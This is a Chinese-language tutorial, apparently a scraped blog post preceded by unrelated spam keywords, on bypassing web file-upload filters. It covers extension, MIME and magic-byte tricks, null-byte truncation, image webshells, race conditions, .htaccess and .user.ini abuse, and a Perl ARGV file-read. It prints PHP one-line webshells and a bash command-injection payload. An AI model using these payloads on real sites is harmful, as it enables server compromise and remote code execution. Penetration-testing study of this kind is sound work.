网站集约化建设做法,北京互联网公司待遇排名,茂名住房和城乡建设部网站,安徽省最新消息目录
上传文件一般过滤方式
客服端校验
服务端校验
黑白名单机制
常规文件上传漏洞绕过
客户端绕过
1.游览器禁用JavaScript
2.正常burp suite抓包改包
服务端绕过
1.Content-Type绕过
2.黑名单绕过
1#xff09;命名规则绕过
2#xff09;大小写绕过
3#x…目录
上传文件一般过滤方式
客服端校验
服务端校验
黑白名单机制
常规文件上传漏洞绕过
客户端绕过
1.游览器禁用JavaScript
2.正常burp suite抓包改包
服务端绕过
1.Content-Type绕过
2.黑名单绕过
1命名规则绕过
2大小写绕过
3末尾空格绕过
4末尾“.”绕过
5文件末尾添加::$DATA绕过
6双写绕过
3.白名单绕过
100截断%00绕过
2文件头检测绕过
3图片二次渲染绕过
4条件竞争
特殊文件上传漏洞绕过
.htaccess绕过
fastcgi的.user.ini绕过 上传文件一般过滤方式
客服端校验
使用JavaScript校验
服务端校验
检查Content-Type 内容类型检查后缀检查文件头
黑白名单机制
黑名单禁用上传的类型白名单只允许上传指定类型
常规文件上传漏洞绕过
客户端绕过
1.游览器禁用JavaScript
2.正常burp suite抓包改包
服务端绕过
1.Content-Type绕过 文件扩展名 Mime-Type .js application/x-javascript .html text/html .jpg image/jpeg .png image/png .pdf application/pdf
只是检查一下文件的上传格式mime校验
使用burp suite抓包改包就行 2.黑名单绕过
1命名规则绕过
php中默认状态下.php3、.php4、.php5、.phtml 都是会被解析为php。
尝试 .php1~.php9 .phps.htaccess等后缀名。
2大小写绕过
没有 strtolower()函数说明不存在大小写过滤因此可以考虑大小写绕过
比如.Php、PHp、PHP、pHP、phP、PhP等。
3末尾空格绕过
Linux没有trim($file_ext)对首尾去空的函数则可以在文件尾后面添加一个空格。
比如.php过滤则不会匹配.php 结尾的文件服务器仍然会正常解析。
4末尾“.”绕过
Linux没有deldot($file_name)删除文件名末尾的点函数则可以在文件尾后面添加一个“.”。
比如对于.php过滤则不会过滤掉.php.文件。
5文件末尾添加::$DATA绕过
在windows上如果文件名::$DATA会把::$DATA之后的数据当成文件流处理不会检测后缀名且保持::$DATA之前的文件名他的目的就是不检查后缀名。Windows文件流绕过
比如phpinfo.php::$DATAWindows会自动去掉末尾的::$DATA变成phpinfo.php。
6双写绕过
在过滤一些字符时有时只会过滤一次可以写两次绕过。
或某些函数去除“.”和空格只去除一次可以进行多写几个空格和“.”绕过
比如.pphphp从左往右匹配到第一个php时去掉变为.php达到了绕过的目的
3.白名单绕过
100截断%00绕过
有些函数会把字符的ascii码值为0当做结束符
基于GET的00截断 基于POST的00截断
burp suite抓包改包如“1.phpa”,在Hex里改a的ASCII“61”为“00” 2文件头检测绕过
有的文件上传上传时会检测文件头不同的文件文件头也不一样常见的文件上传图片头检测 它检测图片两个字节长度如果不是图片格式会禁止上传文件。
a.可以添加GIF89a #常见的图片文件头
JPGFF D8 FF E0 00 10 4A 46 49 46
GIF47 49 46 38 39 61(GIF89a)
PNG89 50 4E 47
b.可以制作图片马
准备图片1.png与恶意脚本test.php。
cmd下执行下面代码即可获取图片马。
copy 1.png/btest.php test.png
# 参数/b指定以二进制格式复制、合并文件用于图像类/声音类文件
copy 1.png/btest.text/a test.png
# 参数/a指定以ASCII格式复制、合并文件用于txt等文档类文件
3图片二次渲染绕过
有的文件上传后会对上传的图片进行二次渲染后在保存体积可能会更小图片会模糊一些但是符合网站的需求。例如新闻图片封面等可能需要二次渲染因为原图片占用的体积更大。访问的人数太多时候会占用很大带宽。二次渲染后的图片内容会减少如果里面包含后门代码可能会被省略。导致上传的图片马恶意代码被清除。
首先判断图片是否允许上传 gifgif 图片在二次渲染后与原图片差别不会太大。 所以二次渲染攻击最好用 gif 图片马。
将渲染后的图片和原图进行比较
找相同处覆盖字符串填写一句话木马或者恶意指令
原图片与渲染后的图片这个位置的字符串没有改变在原图片这个位置替换然后直接上传即可
4条件竞争
上传--保存--检测--删除
与删除函数竞争在删除之前能访问执行上传的文件。
上传的文件是一个能生成木马的文件
比如文件test.php?php fwrite(fopen(muma.php,w),?php eval($_POST[muma]);?);?
a.用burp suite持续上传文件(test.php) b.用burp suite持续访问上传的文件(test.php) c.getshell连接muma.php 特殊文件上传漏洞绕过
.htaccess绕过
上传.htaccess文件添加解析AddType application/x-httpd-php .jpg
例如AddType application/x-httpd-php .jpg 这个指令代表着.jpg文件会当做php来解析。
fastcgi的.user.ini绕过
.user.ini
GIF89a
auto_prepend_file1.png
图片
1.png
GIF89a
?eval($_REQUEST[pass]); ?
getshell
http://ip:port/xxx/xxx.php
pass
当 auto_prepend_file 配置启用后PHP 在执行每个脚本之前会自动将指定的文件包含进来作为脚本的一部分。这个文件可以包含一些通用的代码、函数、类或初始化操作以便在每个脚本中都能自动执行。
因此我们可以传入.user.ini文件通过auto_prepend_file将含有一句话木马的文件名称包含到每个文件中。然后再上传该文件。
Perl文件上传
ARGV 安全漏洞
文件上传链接上传文件并把文件内容打印出来。猜想后台应该用了param()函数。
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的。
use strict;
use warnings;
use CGI;
my $cgi CGI-new;
if ( $cgi-upload( file ) ) { my $file $cgi-param( file );while ( $file ) { print $_; }
}------WebKitFormBoundaryAhqteWA3ey7NaUBQ
Content-Disposition: form-data; namefile;
Content-Type: text/plainARGV
?/bin/bash%20-c%20ls${IFS}/|